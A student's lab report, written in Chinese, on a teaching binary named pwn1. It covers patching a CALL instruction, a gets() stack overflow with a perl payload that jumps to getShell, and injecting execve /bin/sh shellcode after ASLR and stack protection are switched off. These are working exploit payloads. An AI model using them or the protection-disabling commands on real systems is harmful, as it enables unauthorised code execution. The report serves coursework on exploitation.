# 20251901 2024-2025-2 《网络攻防实践》实验九
目录
实验九 软件安全攻防--缓冲区溢出和shellcode
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
一、实验任务
- 本次网络攻防 PWN 漏洞利用实验基于 Linux Ubuntu 系统,以存在缓冲区溢出漏洞的 32 位 ELF 可执行文件 pwn1 为实验对象进行以下三个实践——
- 通过十六进制编辑器直接修改程序二进制机器指令,静态篡改程序调用逻辑,绕过原有执行流程直接调用内置 getShell 函数获取交互式 Shell ;
- 借助 gdb 调试工具分析程序栈帧结构,精准计算缓冲区偏移量,利用 foo 函数内 gets 无输入长度校验的缓冲区溢出漏洞,构造恶意 Payload 覆盖函数栈返回地址,动态劫持程序执行流触发 getShell;
- 关闭系统 ASLR 地址空间随机化防护、开启程序堆栈可执行权限,自主编写并注入自定义 Shellcode,脱离程序自带提权函数实现自主代码执行。
二、实验材料或资源
- Kali虚拟机
- pwn1文件(老师提供)
- objdump、gdb、execstack等(kali中自带或可下载安装)
三、知识点梳理
-
1. x86 函数调用与 CALL 指令原理
32 位 x86 架构下 CALL 指令固定格式为0xE8+4字节相对偏移量,执行时先将下一条指令地址压栈保存为返回地址,再跳转至目标函数;偏移量计算公式为目标函数地址 - CALL 指令下一条指令地址,负数偏移以补码形式存储,且内存遵循小端序存储规则,低字节存入低内存地址,这也是修改 call 指令偏移码实现程序跳转的核心依据。 -
2. 栈缓冲区溢出(BOF)原理
foo 函数调用不安全函数 gets 读取用户输入,该函数无输入长度限制;程序栈帧中依次排布缓冲区、栈基址 ebp、函数返回地址,超长输入会逐字节覆盖栈内存数据,最终覆盖返回地址,函数 ret 执行时会跳转至攻击者指定地址,从而完成执行流劫持。 -
3. Linux 系统两大内存防护机制原理
ASLR 地址空间随机化:系统默认开启该机制,随机打乱堆栈、代码段内存地址,导致固定地址的 Shellcode 无法命中,实验需临时关闭该防护;堆栈不可执行保护:Linux 默认禁止堆栈段代码运行,注入到栈上的 Shellcode 无法执行,需要借助工具修改程序 ELF 权限,开启堆栈可执行属性。 -
4. 基础汇编指令与机器码原理
NOP 空指令(机器码 0x90),无运算操作,常作为 Shellcode 前后滑行填充位,消除地址偏移误差;JMP 无条件跳转指令(近跳转机器码 0xE9),直接跳转指定内存地址,本次 CALL 函数调用本质是携带返回地址保存功能的特殊跳转;CMP 比较指令,对比两个操作数且不修改数据,仅修改程序标志位,本次漏洞成因正是程序缺少 CMP 指令做输入长度边界校验;JE 相等跳转、JNE 不相等跳转,依托标志位实现程序分支判断,支撑程序正常分支逻辑。 -
5. 实验所用网络攻防工具介绍
objdump:Linux 原生静态反汇编工具,无需运行程序即可解析 ELF 可执行文件,查看代码段汇编指令、函数入口地址、指令对应机器码,用于前期静态分析程序执行逻辑与关键指令地址。
Vim+xxd:二进制编辑组合工具,vim 作为编辑器打开二进制程序会出现乱码,xxd 可实现二进制与十六进制格式互相转换,支持直接修改程序底层机器码,完成静态程序补丁操作。
gdb:Linux 专业动态调试工具,可实时运行、断点调试程序,查看寄存器数值、栈内存布局、函数汇编代码,精准计算缓冲区溢出偏移量,同时支持进程附加调试,获取实时栈内存地址,是栈溢出攻击调试核心工具。
execstack:ELF 文件堆栈权限修改工具,能够修改可执行文件堆栈段读写执行权限,关闭堆栈不可执行保护,为栈上 Shellcode 提供运行环境,适配代码注入实验需求。
perl:命令行脚本工具,支持直接输出十六进制二进制字符,可快速批量生成填充字符、定制化 Payload 与完整 Shellcode,解决普通终端无法输入不可见二进制字符的问题。
四、实验思路
本次实验对象pwn1是一个存在缓冲区溢出漏洞的Linux ELF可执行文件,程序包含三个核心函数:main主函数、foo回显函数、隐藏getShell提权函数。程序正常运行只会执行main→foo,不会触发getShell。
- 手动修改可执行文件,直接跳转getShell函数
实践思路:静态修改程序二进制代码,直接改跳转地址,属于静态篡改程序,不需要输入攻击数据,直接从根源改变程序调用逻辑。先用objdump反汇编找到main函数中调用foo的CALL指令位置,计算调用getShell需要的偏移量,通过vim十六进制编辑器修改CALL指令后的4字节偏移机器码,让main函数直接调用getShell,无需触发漏洞。 - 缓冲区溢出BOF攻击,构造Payload劫持返回地址
实践思路:不修改程序本身代码,利用程序自带漏洞,输入恶意字符串覆盖栈返回地址,属于动态内存劫持,是最基础的缓冲区溢出攻击。用gdb动态调试foo函数,计算缓冲区到返回地址的字节偏移,构造填充字符+getShell函数地址的Payload,溢出覆盖栈返回地址,让foo函数执行完毕后跳转到getShell。 - 自定义Shellcode注入与执行
实践思路:不仅劫持程序执行流,还向程序堆栈注入自定义Shellcode,属于代码注入攻击,贴近真实网络渗透中的漏洞利用场景。先关闭系统ASLR地址随机化、开启程序堆栈可执行权限,消除系统防护;再通过gdb调试获取栈顶内存地址,构造包含跳转地址+自定义Shellcode的攻击载荷,注入代码并执行,实现自主反弹Shell。
五、实验详细过程
前置准备
根据实验要求“所有操作截图主机名为本人姓名拼音、所编辑的文件名包含自己的学号”,首先进行实验的前置准备。
- 首先修改Kali虚拟机主机名
- 临时修改主机名:
sudo su
hostname mjq
hostname# 验证修改结果
此方法仅当前终端会话 + 本次开机生效;虚拟机重启后,会恢复原来的主机名
![image]()
- 永久修改主机名:
sudo vim /etc/hostname
![image]()
修改成:
![image]()
- 为解决上述操作之后带来 “名称或服务未知”+ 终端反应慢的问题,还需同步更新/etc/hosts文件:
vim /etc/hosts
![image]()
上述问题得以解决:
![image]()
- 从学习通中下载老师提供的pwn1文件,使用共享文件夹将之导入kali虚拟机中
![image]()
- 对文件pwn1进行重命名:
mv pwn1 pwn20251901
![image]()
5.1 手动修改可执行文件,直接跳转getShell函数
- 反汇编可执行文件,查看程序底层汇编代码
操作命令:objdump -d pwn20251901 | more
objdump:Linux 原生静态反汇编工具,无需运行程序,直接解析 ELF 可执行文件二进制机器码,还原为可读汇编代码,本次实验必须用该工具完成静态代码分析;
-d:固定参数,仅反汇编程序代码段,只展示程序运行指令,过滤掉无关数据段内容;
| more:分页输出命令,防止反汇编内容过多刷屏,方便逐行查看 main、foo、getShell 三个核心函数。
通过此命令定位三条核心函数的内存地址、call 指令位置以及对应机器码,为后续修改二进制指令提供精准定位依据。
![image]()
![image]()
- 通过分析上述结果,我们可以提取到三大核心函数关键信息并计算 CALL 指令偏移量——
(1)核心函数信息提取
main 函数:地址区间080484af ~ 080484c0,080484b5地址存放call 8048491指令,指令机器码为e8 d7 ff ff ff,单条 CALL 指令固定占用 5 字节;下一条指令地址 = 当前指令地址 + 指令长度,即080484b5+5=080484ba。
foo 函数:入口地址08048491,内部仅调用 gets、puts 函数,负责接收用户输入并回显内容;核心漏洞根源:gets 函数无输入长度检测,是本次缓冲区溢出实验的基础漏洞,正常流程下 main 函数只会调用该函数。
getShell 函数:入口地址0804847d,内部封装 system 函数调用/bin/sh,可以直接调出系统交互 Shell,但正常程序执行流程永远不会触发该函数。
(2)CALL 指令偏移量原理与计算
底层原理:32 位 x86 架构下,CALL 指令格式固定为0xE8 + 4字节相对偏移量,不存储目标函数绝对内存地址,仅存储相对偏移量;偏移量通用公式:相对偏移量 = 目标函数地址 - CALL指令下一条指令地址。
同时 x86 内存遵循小端序存储规则:低字节数据存放在低内存地址,负数偏移量需要以补码形式保存。
原调用 foo 偏移计算:08048491 - 080484ba = 0xffffffd7,小端序倒置后为d7 ff ff ff,和反汇编查看的机器码完全一致;
目标调用 getShell 偏移计算:0804847d - 080484ba = 0xffffffc3,小端序倒置后为c3 ff ff ff。
操作逻辑:不需要修改 CALL 指令操作码e8,只需要替换后续 4 字节偏移机器码,就能直接修改函数调用对象,从调用 foo 变为调用 getShell,直接改变程序执行流向。 - 用vim 编辑器修改二进制程序机器码——
- 首先输入命令
vim pwn20251901对文件进行编辑:
![image]()
- 但二进制文件全部由机器码组成,直接打开会出现大量乱码,无法直接编辑,因此必须借助 xxd 工具做格式转换:输入命令
%!xxd
xxd 是二进制与十六进制互转工具,该指令将乱码二进制文件批量转为十六进制可视格式,只有转为十六进制,才能精准定位、修改单个字节的机器码。
![image]()
- 使用vim 搜索指令:
/e8 d7进行搜索
vim 内置正向搜索命令,快速定位目标 CALL 机器码所在行000004b0,避免人工逐行查找 - 手动修改:将机器码中d7修改为c3
仅修改偏移量第一个字节,后三个ff ff ff保持不变,修改后完整机器码变为e8 c3 ff ff ff,对应偏移量切换为指向 getShell 函数。
![image]()
![image]()
- 编辑好之后按esc。然后输入vim 还原指令:
:%!xxd -r
-r代表反向转换,将编辑完成的十六进制文件重新还原为原生二进制可执行文件;关键必填步骤,不执行该指令,文件会保留十六进制文本格式,程序无法运行。
![image]()
- 保存退出指令:
:wq
![image]()
- 之后对上述操作的效果进行验证。首先进行反汇编静态验证:命令:
objdump -d pwn20251901 | more
![image]()
![image]()
再次执行反汇编命令,核查080484b5地址处指令,原本call 8048491 <foo>已经变为call 804847d <getShell>,证明机器码修改生效,程序静态执行流程已经被篡改。 - 然后进行程序运行动态验证命令:
./pwn20251901
![image]()
直接运行修改后的可执行程序,无需输入任何用户数据,程序直接跳过 foo 函数,调用 getShell 函数,成功进入系统 Shell 交互终端,可以执行 ls、whoami 等系统命令,证明提权成功。
5.2 缓冲区溢出BOF攻击,构造Payload劫持返回地址
(1)安装 GDB 动态调试工具
- 输入命令:
sudo apt update
该命令用于更新 Ubuntu 系统本地软件源索引列表,同步官方最新软件安装信息。如果不执行该命令,系统源缓存老旧,后续安装 gdb 会出现软件找不到、版本不匹配、安装失败等问题,是 Linux 系统安装软件前的标准前置操作。
![image]()
- 输入修复命令
sudo apt -f install
-f 参数为修复依赖,本次实验环境大概率存在系统残缺依赖包,gdb 调试工具依赖多个底层运行库,这条命令自动补全缺失依赖、修复损坏依赖关系,规避后续 gdb 安装报错、安装后无法启动的问题。
![image]()
- 输入安装命令:
sudo apt install gdb
gdb 是 Linux 专属动态调试工具,区别于静态分析的 objdump,它可以运行程序、断点调试、查看栈帧结构、反汇编运行中函数、精准计算缓冲区偏移量,本次栈溢出攻击必须依靠 gdb 获取栈空间布局,无法通过静态反汇编算出栈偏移。
![image]()
- 然后我们通过
which gdb、gdb --version命令对上述下载安装gdb工具是否成功进行验证
![image]()
证明安装成功。
(2)裸机运行程序,初步测试程序运行状态
- 首先输入命令:
./pwn20251901,手动输入 aaaaa,终端提示/bin/sh: 1: aaaaaa: not found
![image]()
原理解析:禁止直接进入 gdb 运行程序测试,gdb 调试环境会自带内存地址偏移,和系统原生运行环境栈地址存在偏差,会导致后续计算的偏移量不准。
运行现象解释:程序接收输入后调用了 /bin/sh,把输入的 aaaaa 当成系统命令执行,因为无该命令所以报错,侧面验证程序内置 getShell 调用接口正常,同时验证 foo 函数可以正常接收用户输入,漏洞交互环境正常。
(3)进入 gdb 调试程序,查看全部函数入口地址
- 输入命令:
gdb ./pwn20251901
以调试模式加载目标可执行文件,不直接运行程序,进入 gdb 交互式调试终端,后续所有调试指令均在该环境执行。
![image]()
- 输入gdb 指令:info functions
该指令可以遍历 ELF 程序内所有自定义函数与库函数,批量输出每一个函数的内存绝对地址。本次攻击需要精准的 getShell 函数绝对地址,不能手动估算,该指令可以直接获取目标提权函数地址:0x0804847d,该地址是后续 payload 构造的核心关键数据。
![image]()
![image]()
(4)反汇编 foo 函数,分析栈帧结构,推导缓冲区溢出偏移量
- 输入gdb 指令:
disass foo
反汇编 foo 函数完整汇编代码,查看 foo 函数栈开辟、栈压入、栈弹出逻辑,分析函数栈帧布局,这是计算溢出偏移的核心一步。
![image]()
偏移量完整推导过程:
汇编代码可见:foo 函数缓冲区起始地址为ebp - 0x1c,十六进制 0x1c 换算十进制为 28 字节,代表用户输入缓冲区大小仅有 28 字节,超过该长度就会溢出;
x86 函数栈帧固定结构:缓冲区上方紧接着4 字节保存的旧 ebp 栈基址,用于函数执行结束后恢复上层栈帧;
旧 ebp 上方紧邻4 字节函数返回地址,程序执行完 foo 函数后,会读取该返回地址跳转回 main 函数继续执行;
偏移总量计算:想要覆盖返回地址,需要填满 28 字节缓冲区 + 4 字节保存 ebp,总偏移量 = 28+4=32 字节。
原理总结:只要向程序输入 32 字节无意义填充字符,就刚好填满缓冲区和栈基址,第 33-36 字节的内容就会直接覆盖函数返回地址,从而劫持程序执行流。
(5)格式化目标跳转地址,适配内存小端序规则
- 获取 getShell 绝对地址:0x0804847d
原理解析:x86 32 位 Linux 内存遵循小端序存储规则,低字节存低地址,程序读取返回地址时会从低地址开始读取字节。直接填入原地址会导致跳转地址错乱,必须将地址字节倒置。
地址字节拆分:08 04 84 7d
小端序倒置后:\x7d\x84\x04\x08
(6)使用 perl 命令生成攻击 Payload 文件
- 命令:
perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > payload
perl -e:直接在命令行运行 perl 单行脚本,无需新建脚本文件,快速生成二进制攻击载荷;
"A"x32:生成 32 个大写字母 A,作为填充数据,精准填满缓冲区和栈基址,刚好抵达返回地址位置;
拼接小端序 getShell 地址:覆盖 foo 函数栈上的原始返回地址;
payload:将生成的二进制载荷写入 payload 文件,方便后续输入程序。
![image]()
选用 perl 的原因:普通 echo 命令无法输出 \x 开头的十六进制不可见字符,只能输出明文,无法构造符合内存格式的恶意地址,perl 原生支持十六进制二进制字符输出,是 Linux 下构造溢出 payload 最便捷的工具。
(7)执行缓冲区溢出攻击
- 命令:
(cat payload; cat) | ./pwn20251901
cat payload:读取提前构造好的溢出攻击载荷,通过管道符输入到 pwn20251901 程序中;
外层( ; ):将两条命令合并为一个整体数据流输入程序;
末尾cat:用于保持交互式会话持续打开。
![image]()
显示成功拿到shell。
底层攻击原理:程序执行 foo 函数读取 payload,32 个 A 填满栈缓冲区与 ebp,后续 4 字节地址覆盖合法返回地址;foo 函数执行 ret 返回指令时,不再跳转回 main 函数,而是直接跳转至 getShell 函数地址,调用 system ("/bin/sh") 弹出系统 shell。
5.3 自定义Shellcode注入与执行
(1)下载安装execstack堆栈权限工具
- 输入命令:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
wget 是 Linux 命令行下载工具,本次选用阿里云镜像源下载 execstack 离线 deb 安装包。Ubuntu 官方软件源经常出现连接超时、软件缺失问题,阿里云镜像访问稳定、下载速度快,适配本次实验所需的旧版本 execstack 工具;该工具核心作用是修改 ELF 可执行文件堆栈权限,Linux 系统默认堆栈空间禁止执行代码,后续注入的 shellcode 存放在堆栈中,必须依靠该工具开启堆栈可执行权限,否则 shellcode 永远无法运行。
![image]()
- 输入命令:
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
dpkg 是 Ubuntu 系统离线 deb 包安装命令,-i 代表安装指定安装包;apt 适合在线安装,本次为本地离线安装包,只能使用 dpkg 命令。加上 sudo 是因为修改系统工具需要管理员权限,普通用户无权限完成软件安装。
![image]()
(2)修改并核查程序堆栈执行权限
- 输入命令:
execstack -s pwn20251901开启堆栈可执行
-s 参数代表开启可执行堆栈,给 pwn20251901 程序添加堆栈可执行标签。系统原有防护:数据段(堆栈)与代码段分离,堆栈仅允许读写、禁止运行指令,防止恶意代码注入;该命令直接绕过堆栈不可执行防护,让放置在栈上的 shellcode 具备运行条件。 - 输入命令:
execstack -q pwn20251901查看堆栈是否为可执行
-q 为查询参数,静默查看程序堆栈权限状态,确认上一步堆栈可执行权限是否开启成功,避免后续实验因权限未生效导致注入失败,属于实验前置校验步骤。
![image]()
(3)关闭系统 ASLR 地址空间随机化防护
- 输入命令:
more /proc/sys/kernel/randomize_va_space查询是否关闭ASLR。
该文件是 Linux 内核 ASLR 防护配置文件,输出值含义:0 = 关闭随机化、1 = 基础随机化、2 = 完全地址随机化。本次初始输出为 2,代表系统默认开启最高等级地址随机化,每次运行程序堆栈地址都会随机变化。而 shellcode 注入依赖固定的栈内存地址,地址随机变化会导致跳转地址失效,攻击百分百失败,因此必须关闭该防护。
![image]()
- 在root权限下输入命令:
echo "0" > /proc/sys/kernel/randomize_va_space关闭地址空间随机化(ASLR)
通过 echo 重写内核配置文件,将 ASLR 等级改为 0,临时关闭地址随机化,本次修改为内存临时修改,重启系统后配置自动复原,不会永久改动系统内核参数。
再次执行查看命令核对输出为 0,确认防护彻底关闭。
![image]()
(4)初次构造原始 shellcode,初步测试代码注入
- 输入命令:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input20251901
选用 perl 原因:终端无法直接输入不可见十六进制机器码,perl 命令可以直接输出二进制 shellcode 字符,适配栈注入的数据格式;
载荷结构拆解:开头 6 个\x90为 NOP 空指令滑行区,作用是缓冲地址微小偏差,让程序顺着 NOP 指令平稳滑入后续 shellcode;中间一段为标准 32 位 Linux /bin/sh 提权 shellcode,执行后可弹出系统 shell;末尾填充无用字节用于对齐栈空间;
input20251901:将二进制 shellcode 写入文件,方便后续统一输入程序。
![image]()
得到相应的文件如图。 - 输入命令:
(cat input20251901;cat) | ./pwn20251901
cat 读取 shellcode 文件通过管道传入程序,第二个 cat 保持终端交互,防止 shell 启动后直接闪退。本次运行失败,原因是缺少精准的栈返回跳转地址,程序不知道跳转到栈中哪一处执行 shellcode,因此需要进一步 gdb 动态调试获取真实栈地址。
![image]()
(5)查看程序运行进程号,用于 gdb 动态附着调试
- 输入命令:
ps -ef | grep pwn20251901
ps 命令查看系统全部运行进程,grep 筛选靶机程序进程号。本次需要调试正在运行的程序,而非重启程序调试,程序运行时栈地址才是真实攻击环境的地址,重启 gdb 直接调试程序会产生栈地址偏移,和真实攻击环境地址不一致,因此必须附着正在运行的进程。
![image]()
(6)gdb 附着进程,断点调试获取精准栈顶地址
-
命令:
gdb pwn20251901:启动 gdb 调试器,加载对应可执行文件
![image]()
-
命令:
attach 进程号:附着后台正在运行的 pwn 程序进程,同步真实运行时的内存栈空间
![image]()
-
命令:
disassemble foo:反汇编溢出漏洞函数 foo,查看完整汇编指令,定位函数 ret 返回指令位置,明确程序返回地址跳转时机
![image]()
-
命令:
break *0x080484ae:在 foo 函数 ret 返回前设置断点,程序运行到该位置会暂停,精准定格在函数即将跳转返回地址的关键节点 -
命令:
c:continue 继续运行程序,让程序运行至断点处暂停
![image]()
-
命令:
info r esp:查看 esp 栈顶寄存器数值,获取当前真实栈顶地址0xffffd210
地址推导原理:esp 指向当前栈顶位置,返回地址存入位置为栈顶向上偏移 4 字节,因此目标跳转地址 = 0xffffd210 + 4 = 0xffffd214。后续 payload 需要填入该栈地址,让程序 ret 执行时直接跳转到栈上存放 shellcode 的位置。同时遵循 x86 小端序规则,地址倒置为\x14\xd2\xff\xff。
![image]()
![image]()
(7)构造最终完整攻击 Payload
- 命令:
perl -e 'print "A" x 32;print "\x14\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input20251901
载荷分段原理详解
"A" x 32:32 字节填充字符,和实践二一致,填满缓冲区 + ebp 栈基址,精准覆盖到函数返回地址位置;
\x14\xd2\xff\xff:小端序格式的精准栈跳转地址,覆盖原有返回地址,让程序 ret 后直接跳转到栈空间;
6 个 NOP 空指令:搭建滑行缓冲区,抵消微小栈误差;
标准 /bin/sh shellcode:注入的自定义恶意代码,无需依赖程序自带 getShell 函数,独立完成提权;
末尾结束字节:保证载荷正常截断,避免多余脏数据干扰代码执行。
![image]()
(8)执行最终代码注入攻击
- 命令:
(cat input20251901;cat) | ./pwn20251901
攻击完整原理:程序接收 payload 后,32 个 A 填满栈缓冲区,精准覆盖返回地址为栈内存地址;函数执行 ret 指令后,跳转至栈指定位置,先经过 NOP 滑行区,随后执行栈上注入的 shellcode,调用系统函数拉起 /bin/sh,完成自主代码注入攻击,全程不调用程序内置 getShell 函数,攻击成功。
![image]()
六、实验过程中遇到的问题及解决
- 1.使用命令hostname、vim /etc/hostname 修改kali虚拟机的主机名后,输入sudo命令虚拟机反应很慢且显示无法解析主机
- 问题原因:sudo 报错 + 终端卡顿,根源就是 /etc/hosts 没同步更新。/etc/hostname 已经改成了 mjq,系统的主机名变成了 mjq,但 /etc/hosts 里还是旧的 127.0.1.1 kali,没有新主机名的记录。当执行 sudo 时,系统会做几件事:1.尝试解析当前主机名 mjq,看它对应的 IP 是什么;2.它会先查 /etc/hosts,找不到 mjq,就会去网络上做 DNS 解析;3.解析超时失败后,才会继续执行sudo命令,这个超时等待,就是觉得终端 “反应慢” 的直接原因。
- 问题解决:
直接编辑文件:vim /etc/hosts;把 kali 改成新主机名
![image]()
![image]()
![image]()
- 2.下载安装gdb时,其中很多软件包无法下载
![image]()
![image]()
- 问题原因:这些 404 是因为软件源里的包版本太旧,阿里云镜像里已经下架了。
- 问题解决:
- 先更新软件源索引
sudo apt update
这一步会同步最新的软件包信息,让系统知道哪些包还存在。 - 修复依赖问题
sudo apt -f install - 再安装gdb
sudo apt install gdb
-f 参数会自动处理缺失的依赖包,避免再次出现 404 错误。
![image]()
![image]()
![image]()
七、学习收获及感想
- 通过本次实验,首先,我对实验缓冲区溢出和shellcode实践的内容有了深入的理解:实践一属于无漏洞利用的静态二进制补丁攻击,全程不需要利用程序缓冲区溢出漏洞,直接修改程序底层机器码,从根源篡改程序执行流程。通过实验一,我掌握了 32 位 x86 架构 CALL 指令相对寻址原理、负数补码计算规则以及内存小端序存储机制,弄懂了为什么不能直接填写函数绝对地址、必须计算相对偏移量的底层原因。同时熟练掌握了 vim+xxd 组合编辑二进制文件的完整流程,明白了 Linux 可执行文件本质就是机器码的集合,修改机器码即可直接控制程序运行逻辑。
- 最令我影响深刻的内容是实践二。实践二是入门级栈缓冲区溢出攻击,全程不修改程序任何二进制代码,仅依靠程序自身存在的漏洞完成攻击,漏洞根源为 foo 函数调用的 gets 函数无输入长度校验,无法限制用户输入数据长度。本次实验最核心的难点是借助 gdb 调试分析栈帧结构、精准计算返回地址偏移量,同时理解了 x86 架构栈帧布局、函数 ret 返回机制以及内存小端序存储规则。我也厘清了本次攻击完整逻辑:超长输入溢出栈空间→覆盖栈上保存的合法返回地址→函数 ret 跳转至恶意指定地址→调用 getShell 获取 shell。在做实践二的时候,我最初的思路是设置gdb跟踪子进程,但是由于中间的某些环节没有考虑到,且我在root权限下进行实践,程序在检测到以 root 权限运行时,直接跳过了输入环节,不正确地返回了 shell,即我没有构造攻击就得到了shell。
![image]()
然后我对实践思路进行了修改,重新进行实验。整个实践二反复进行多次,最后攻击成功。 - 实践三为栈缓冲区溢出进阶攻击 —— 自定义 Shellcode 注入执行,区别于前两次实验,本次不再依赖程序自带的 getShell 提权函数,完全依靠自主编写的机器码实现代码执行,更贴近真实网络渗透攻击场景。实验核心难点在于需要提前绕过堆栈不可执行、ASLR 地址随机化两大 Linux 系统原生防护,同时必须通过 gdb 附着运行中进程获取真实栈地址,消除调试环境与真实运行环境的地址偏差。对比前两次实验,本次攻击自主性更强,也让我掌握了 PWN 漏洞利用中代码注入的核心思路,理解了栈溢出攻击从劫持已有代码到执行自定义恶意代码的进阶逻辑。
- 通过本次PWN攻防实验,我彻底摆脱了对网络攻防的抽象认知,真正从底层机器码、内存堆栈层面理解了程序攻击的原理。以前只懂高级语言代码,本次实验弄懂了汇编指令、机器码、内存小端序、函数栈帧、返回地址等程序底层运行逻辑,明白了所有高级语言程序最终都会转换为机器码在CPU运行,底层内存安全才是程序安全的核心。
- 我还明白了,网络攻击不是凭空破解程序,而是寻找程序开发中的逻辑缺陷(本次为无长度校验),再结合系统底层运行规则构造攻击载荷;同时防御也要对症下药,针对溢出漏洞做输入校验,针对代码注入开启堆栈防护、地址随机化。

















































浙公网安备 33010602011771号